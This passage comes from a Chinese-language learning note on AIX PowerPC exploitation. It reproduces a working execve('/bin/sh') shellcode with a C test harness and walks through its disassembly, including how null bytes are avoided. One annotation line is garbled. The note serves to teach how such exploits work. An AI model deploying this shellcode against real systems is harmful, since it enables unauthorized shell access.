more
...
0000000010000544 <.main>:
10000544: 7c a5 2a 79 xor. r5,r5,r5
10000548: 40 82 ff fd bnel 10000544 <.main>
1000054c: 7c 68 02 a6 mflr r3
10000550: 38 63 00 20 cal r3,32(r3)
10000554: 90 61 ff f8 st r3,-8(r1)
10000558: 90 a1 ff fc st r5,-4(r1)
1000055c: 38 81 ff f8 cal r4,-8(r1)
10000560: 38 40 00 05 lil r2,5
10000564: 4c c6 33 42 crorc 6,6,6
10000568: 44 00 00 02 svca 0
1000056c: 2f 62 69 6e cmpi 6,r2,26990
10000570: 2f 73 68 00 cmpi 6,r19,26624
...可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:/* shellcode.c
*
* ripped from lsd
*/char shellcode[] = /* 12*4+8 bytes */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel <shellcode> */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca */
"/bin/sh"
"\x05"
;
int main(void)
{
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}编译后,用IDAPro反汇编,在Names window点击shellcode,并且按c强制反汇编:.data:200006D8 shellcode: # CODE XREF: .data:200006DCp
.data:200006D8 # DATA XREF: .data:shellcode_TCo
.data:200006D8 7C A5 2A 79 xor. r5, r5, r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志
.data:200006DC 40 82 FF FD bnel shellcode # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
.data:200006E0 7F E8 02 A6 mflr r31 # 等价于mfspr r31, 8,这里把lr寄存器的值拷贝到r31
.data:200006E4 3B FF 01 20 addi r31, r31, 0x120 # r31等于.data:20000800
.data:200006E8 38 7F FF 08 subi r3, r31, 0xF8 # r3等于.data:20000708
.data:200006EC 38 9F FF 10 subi r4, r31, 0xF0 # r4等于.data:20000710
.data:200006F0 90 7F FF 10 stw r3, -0xF0(r31) # 把地址.data:20000708放到.data:20000710
.data:200006F4 90 BF FF 14 stw r5, -0xEC(r31) # 把0放到.data:20000714
.data:200006F8 88 5F FF 0F lbz rtoc, -0xF1(r31) # 读入execve的中断号到r2寄存器
.data:200006FC 98 BF FF 0F stb r5, -0xF1(r31) # .data:2000070F写入一个字节0
.data:20000700 4C C6 33 42 crorc 4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR with Comlement
.data:20000700 # 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.data:20000704 44 .byte 0x44 # execve(r3, r4, r5)
.data:20000705 FF .byte 0xFF # execve(path, argv[], NULL)
.data:20000706 FF .byte 0xFF
.data:20000707 02 .byte 2
.data:20000708 2F .byte 0x2F # /
.data:20000709 62 .byte 0x62 # b
.data:2000070A 69 .byte 0x69 # i
.data:2000070B 6E .byte 0x6E # n
.data:2000070C 2F .byte 0x2F # /
.data:2000070D 73 .byte 0x73 # s
.data:2000070E 68 .byte 0x68 # h
.data:2000070F 03 .byte 5至此,我们了解了AIX PowerPC下如何简单的调试shellcode。四、学习AIX PowerPC的溢出技术要学习溢出技术就必须了解堆栈结构,PowerPC的堆栈结构和ia32有很大不同,PowerPC没有类似ia32里ebp这个指针,它只使用r1寄存器把整个堆栈构成一个单向链表,其增长方向是从高地址到低地址,而本地变量的增长方向也是从低地址到高地址的,这就给溢出获得控制的技术提供了保证。32位PowerPC的堆栈结构如下图:. 调用前的堆栈 . . 调用后的堆栈 .
. . . .
关键词:AIX PowerPC体系结构及其溢出技术学习笔记